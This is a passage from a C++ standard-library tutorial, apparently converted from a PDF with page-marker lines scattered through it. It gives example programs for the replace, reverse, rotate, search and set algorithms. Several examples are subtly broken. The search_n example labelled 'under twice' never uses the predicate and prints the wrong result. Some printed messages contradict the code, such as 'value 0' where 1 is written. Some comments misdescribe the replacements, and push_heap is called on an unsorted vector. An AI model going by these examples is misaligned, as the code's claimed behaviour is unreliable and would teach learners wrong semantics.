vector <int> vec1;
list <int> lst1 (15);
vector <int>::iterator Iter1;
list <int>::iterator lstIter;

int i;
for (i = 0; i <= 9; i++)
vec1.push_back(i);

int j;
for (j = 0; j <= 3; j++)
vec1.push_back(7);

cout<<"The original vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
int k;
for (k = 0; k <= 15; k++)
vec1.push_back(1);

cout<<"The original random shuffle vector vec1 with appended data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements in one part of a vector with a value of 7


//with a value of 70 and copy into another part of the vector
replace_copy(vec1.begin(), vec1.begin() + 14, vec1.end( )-15, 7, 70);

cout<<"The vector vec1 data with a replacement value of 7 is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements in a vector of a value 70


//with a value of 1 and copy into a list
replace_copy(vec1.begin(), vec1.begin() + 14, lst1.begin(), 70, 1);

cout<<"The list copy lst1 of vec1 with the value 0 replacing the 7 is:\n";
for(lstIter = lst1.begin(); lstIter != lst1.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, replace_copy_if()

file:///C|/Tutorial.txt (573 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

bool greaterthan(int value)


{return value > 5;}

int main()
{
vector <int> vec1;
list <int> lst1 (13);
vector <int>::iterator Iter1;
list <int>::iterator lstIter1;

int i;
for (i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for (j = 0; j <= 3; j++)
vec1.push_back(7);

cout<<"The original vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());

int k;
for(k = 0; k <= 13; k++)
vec1.push_back(3);

cout<<"The original random shuffle vector vec1 data with appended data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements with a value of 7 in the 1st half of a vector


//with a value of 72 and copy it into the 2nd half of the vector
replace_copy_if(vec1.begin(), vec1.begin() + 14, vec1.end() -14, greaterthan, 72);

cout<<"The vector vec1 with values of 72 replacing those greater"


<<"\n than 5 in the 1st half & copied into the 2nd half is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements in a vector with a value of 72


//with a value of -8 and copy into a list
replace_copy_if(vec1.begin(), vec1.begin() + 13, lst1.begin(), greaterthan, -8);

cout<<"A list copy of vector vec1 with the value -8\n replacing "
<<"those greater than 5 is:\n";
for(lstIter1 = lst1.begin(); lstIter1 != lst1.end(); lstIter1++)

file:///C|/Tutorial.txt (574 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<*lstIter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, replace_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greaterthan(int value)


{return value > 4;}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for (i = 1; i <= 10; i++)
vec1.push_back(i);

int j;
for (j = 0; j <= 2; j++)
vec1.push_back(8);

random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements satisfying the predicate greaterthan


//with a value of 21
replace_if(vec1.begin(), vec1.end(), greaterthan, 21);

cout<<"The vector vec1 with a value 21 replacing those\n "


<<"elements satisfying the greater than 4 predicate is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, reverse()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

file:///C|/Tutorial.txt (575 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vector <int>::iterator Iter1;

int i;
for(i = 11; i <= 20; i++)
vec1.push_back(i);

cout<<"The original vector vec1 is:\n ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Reverse the elements in the vector


reverse(vec1.begin(), vec1.end());

cout<<"The vector vec1 data with values reversed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, reverse_copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2(11);
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 10; i <= 20; i++)
vec1.push_back(i);

cout<<"The original vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Reverse the elements in the vector


reverse_copy(vec1.begin(), vec1.end(), vec2.begin());

cout<<"The copy vec2 data of the reversed vector vec1 is:\n";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

cout<<"The original vector vec1 unmodified as:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

file:///C|/Tutorial.txt (576 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-----------------------------------------------------------------------------------

//algorithm, rotate()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
deque <int> deq1;
vector <int>::iterator vec1Iter1;
deque<int>::iterator deq1Iter1;

int i;
for(i = -4; i <= 4; i++)
vec1.push_back(i);

int j;
for(j = -3; j <= 3; j++)
deq1.push_back(j);

cout<<"Vector vec1 data is: ";


for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1 <<" ";
cout<<endl;

//Let rotates...
rotate(vec1.begin(), vec1.begin() + 3, vec1.end());
cout<<"After rotating, vector vec1 data is: ";
for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;

cout<<"\nThe original deque deq1 is: ";


for(deq1Iter1 = deq1.begin(); deq1Iter1 != deq1.end(); deq1Iter1++)
cout<<*deq1Iter1<<" ";
cout<<endl;

//Let rotates…
int k = 1;
while(k <= deq1.end() - deq1.begin())
{
rotate(deq1.begin(), deq1.begin() + 1, deq1.end());
cout<<"Rotation of a single deque element to the back,\n deq1 is: ";
for(deq1Iter1 = deq1.begin(); deq1Iter1 != deq1.end(); deq1Iter1++)
cout<<*deq1Iter1<<" ";
cout<<endl;
k++;
}
}

-----------------------------------------------------------------------------------

file:///C|/Tutorial.txt (577 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//algorithm, rotate_copy()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2(9);
deque <int> deq1, deq2(6);
vector <int>::iterator vec1Iter, vec2Iter;
deque<int>::iterator deq1Iter, deq2Iter;

int i;
for(i = -3; i <= 5; i++)
vec1.push_back(i);

int j;
for(j =0; j <= 5; j++)
deq1.push_back(j);

cout<<"Vector vec1 data is: ";


for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<*vec1Iter<<" ";
cout<<endl;

rotate_copy(vec1.begin(), vec1.begin() + 3, vec1.end(), vec2.begin());


cout<<"\nAfter rotating, the vector vec1 data remains unchanged as:\n";
for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<*vec1Iter<<" ";
cout<<endl;

cout<<"\nAfter rotating, the copy of vector vec1 in vec2 is,\n vec2:";


for(vec2Iter = vec2.begin(); vec2Iter != vec2.end(); vec2Iter++)
cout<<*vec2Iter<<" ";
cout<<endl;

cout<<"\nThe original deque deq1 is: ";


for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

int k = 1;
while(k <= deq1.end() - deq1.begin())
{
rotate_copy(deq1.begin(), deq1.begin() + 1, deq1.end(), deq2.begin());
cout<<"Rotation of a single deque element to the back,\n a deque copy, deq2 is: ";
for(deq2Iter = deq2.begin(); deq2Iter != deq2.end(); deq2Iter++)
cout<<*deq2Iter<<" ";
cout<<endl;
k++;
}
}

-----------------------------------------------------------------------------------

file:///C|/Tutorial.txt (578 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//algorithm, search()
//compiled with some type conversion
//warning…
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return (2 * elem1 == elem2);}

int main()
{
vector <int> vec1, vec2;
list <int> lst1;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst1_Iter, lst1_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

for(i = 0; i <= 5; i++)


vec1.push_back(5*i);

int j;
for(j = 4; j <= 5; j++)
lst1.push_back(5*j);

int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst1 data: ";


for(lst1_Iter = lst1.begin(); lst1_Iter!= lst1.end(); lst1_Iter++)
cout<<*lst1_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl<<endl;

//Searching vec1 for first match to lst1 under identity


vector <int>::iterator result1;
result1 = search (vec1.begin(), vec1.end(), lst1.begin(), lst1.end());

if(result1 == vec1.end())

file:///C|/Tutorial.txt (579 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"There is no match of lst1 in vec1."<<endl;


else
cout<<"There is at least one match of lst1 in vec1"
<<"\nand the first one begins at "
<<"position "<< result1 - vec1.begin( )<<endl;

//Searching vec1 for a match to lst1 under the binary predicate twice
vector <int>::iterator result2;
result2 = search(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);

if(result2 == vec1.end())
cout<<"\nThere is no match of lst1 in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are equivalent\nto those in vec2 under the binary "
<<"predicate twice\nand the first one begins at position "
<<result2 - vec1.begin()<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, search_n()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return 2 * elem1 == elem2;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

for(i = 0; i <= 2; i++)


vec1.push_back(5);

for(i = 0; i <= 5; i++)


vec1.push_back(5*i);

for(i = 0; i <= 2; i++)


vec1.push_back(5);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (580 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Searching vec1 for first match to (5 5 5) under identity


vector <int>::iterator result1;
result1 = search_n(vec1.begin(), vec1.end(), 3, 5);

if(result1 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1."<<endl;
else
cout<<"\nThere is at least one match of a sequence (5 5 5)"
<<"\nin vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for first match to (5 5 5) under twice


vector <int>::iterator result2;
result2 = search_n(vec1.begin(), vec1.end(), 3, 5);

if(result2 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1"
<<" under the equivalence predicate twice."<<endl;
else
cout<<"\nThere is a match of a sequence (5 5 5) "
<<"under the equivalence\npredicate twice"
<<" in vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, set_difference()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if (elem1 < 0)
elem1 = - elem1;
if (elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less-than ordering


int i;
for(i = -2; i <= 3; i++)
vec1a.push_back(i);

file:///C|/Tutorial.txt (581 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int j;
for(j =-2; j <= 1; j++)
vec1b.push_back(j);

cout<<"Original vector vec1a with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec1b with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vectors vec2a & vec2b with ranges sorted by greater


vector <int> vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2, Result2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"\nOriginal vector vec2a with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec2b with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vectors vec3a & vec3b with ranges sorted by mod_lesser


vector <int> vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector <int>::iterator Iter3a, Iter3b, Iter3, Result3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"\nOriginal vector vec3a with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec3b with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To combine into a difference in asscending


//order with the default binary predicate less <int>()
Result1 = set_difference(vec1a.begin(), vec1a.end(),
vec1b.begin(), vec1b.end(), vec1.begin());

file:///C|/Tutorial.txt (582 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nset_difference() of source ranges with default order,"


<<"\nvector vec1mod = ";
for(Iter1 = vec1.begin(); Iter1 != Result1; Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To combine into a difference in descending


//order specify binary predicate greater<int>()
Result2 = set_difference(vec2a.begin(), vec2a.end(),
vec2b.begin(), vec2b.end(), vec2.begin(), greater <int>());
cout<<"\nset_difference() of source ranges with binary"
<<" predicate\ngreater specified, vector vec2mod: ";
for(Iter2 = vec2.begin(); Iter2 != Result2; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To combine into a difference applying a user


//defined binary predicate mod_lesser()
Result3 = set_difference(vec3a.begin(), vec3a.end(),
vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"\nset_difference() of source ranges with binary "
<<"predicate\nmod_lesser() specified, vector vec3mod: ";
for(Iter3 = vec3.begin(); Iter3 != Result3; Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//algorithm, set_intersection()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -2; i <= 2; i++)
vec1a.push_back(i);

file:///C|/Tutorial.txt (583 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int j;
for(j = -4; j <= 0; j++)
vec1b.push_back(j);

cout<<"Original vector vec1a with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec1b with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vectors vec2a & vec2b with ranges sorted by greater


vector <int> vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2, Result2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"\nOriginal vector vec2a with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec2b with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vectors vec3a & vec3b with ranges sorted by mod_lesser


vector<int>vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector<int>::iterator Iter3a, Iter3b, Iter3, Result3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"\nOriginal vector vec3a with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec3b with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To combine into an intersection in asscending order with the default


//binary predicate less <int>()
Result1 = set_intersection(vec1a.begin(), vec1a.end(),

file:///C|/Tutorial.txt (584 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vec1b.begin(), vec1b.end(), vec1.begin());


cout<<"\nset_intersection() of source ranges with default order,\nvector vec1mod: ";
for(Iter1 = vec1.begin(); Iter1 != Result1; Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To combine into an intersection in descending order, specify binary


//predicate greater<int>()
Result2 = set_intersection(vec2a.begin(), vec2a.end(),
vec2b.begin(), vec2b.end(), vec2.begin(), greater<int>());
cout<<"\nset_intersection() of source ranges with binary predicate\ngreater "
<<"specified, vector vec2mod: ";
for(Iter2 = vec2.begin(); Iter2 != Result2; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To combine into an intersection applying a user-defined


//binary predicate mod_lesser
Result3 = set_intersection(vec3a.begin(), vec3a.end(),
vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"\nset_intersection() of source ranges with binary predicate\n"
<<"mod_lesser() specified, vector vec3mod: ";
for(Iter3 = vec3.begin(); Iter3 != Result3; Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

-------------------------------------G++ on Fedora/Linux----------------------------------------------

//******algorandshuffle.cpp********
//algorithm, random_shuffle()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
cout<<"The original of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//random shuffle…
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original of vector vec1 random shuffle data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (585 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Shuffled once
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Shuffled again
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after another reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

-----------------------------------------------------------------------------------

//*******algosearchn.cpp*********
//algorithm, search_n()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return 2 * elem1 == elem2;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

for(i = 0; i <= 2; i++)


vec1.push_back(5);

for(i = 0; i <= 5; i++)


vec1.push_back(5*i);

for(i = 0; i <= 2; i++)


vec1.push_back(5);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (586 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Searching vec1 for first match to (5 5 5) under identity


vector <int>::iterator result1;
result1 = search_n(vec1.begin(), vec1.end(), 3, 5);

if(result1 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1."<<endl;
else
cout<<"\nThere is at least one match of a sequence (5 5 5)"
<<"\nin vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for first match to (5 5 5) under twice


vector <int>::iterator result2;
result2 = search_n(vec1.begin(), vec1.end(), 3, 5);

if(result2 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1"
<<" under the equivalence predicate twice."<<endl;
else
cout<<"\nThere is a match of a sequence (5 5 5) "
<<"under the equivalence\npredicate twice"
<<" in vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
}

============================MODULE37=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}

file:///C|/Tutorial.txt (587 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//algorithm, set_symmetric_difference()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less-than ordering


int i;
for(i = -4; i <= 4; i++)
vec1a.push_back(i);

int j;
for(j =-3; j <= 3; j++)
vec1b.push_back(j);

cout<<"Original vector vec1a with range sorted by the\n"


<<"binary predicate less than is: ";

file:///C|/Tutorial.txt (588 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)


cout<<*Iter1a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec1b with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vectors vec2a & vec2b with ranges sorted by greater


vector <int>vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2, Result2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"\nOriginal vector vec2a with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec2b with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vectors vec3a & vec3b with ranges sorted by mod_lesser()


vector<int>vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector<int>::iterator Iter3a, Iter3b, Iter3, Result3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"\nOriginal vector vec3a with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec3b with range sorted by the\n"


<< "binary predicate mod_lesser() is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To combine into a symmetric difference in ascending


//order with the default binary predicate less <int>()
Result1 = set_symmetric_difference(vec1a.begin(), vec1a.end(),
vec1b.begin(), vec1b.end(), vec1.begin());
cout<<"\nset_symmetric_difference() of source ranges with default order,"
<<"\nvector vec1mod: ";
for(Iter1 = vec1.begin(); Iter1 != Result1; Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (589 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//To combine into a symmetric difference in descending


//order, specify binary predicate greater<int>()
Result2 = set_symmetric_difference(vec2a.begin(), vec2a.end(),
vec2b.begin(), vec2b.end(), vec2.begin(), greater<int>());
cout<<"\nset_symmetric_difference() of source ranges with binary "
<<"predicate\ngreater specified, vector vec2mod: ";
for(Iter2 = vec2.begin(); Iter2 != Result2; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To combine into a symmetric difference applying a user


//defined binary predicate mod_lesser
Result3 = set_symmetric_difference(vec3a.begin(), vec3a.end(),
vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"\nset_symmetric_difference() of source ranges with binary "
<<"predicate\nmod_lesser() specified, vector vec3mod: ";
for(Iter3 = vec3.begin(); Iter3 != Result3; Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

------------------------------------------------------------------------------------------------

//algorithm, set_union()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector<int> vec1a, vec1b, vec1(12);
vector<int>::iterator Iter1a, Iter1b, Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -3; i <= 3; i++)
vec1a.push_back(i);

int j;
for(j =-3; j <= 3; j++)
vec1b.push_back(j);

cout<<"Original vector vec1a with range sorted by the\n"

file:///C|/Tutorial.txt (590 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

<<"binary predicate less than is: ";


for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec1b with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vectors vec2a & vec2b with ranges sorted by greater


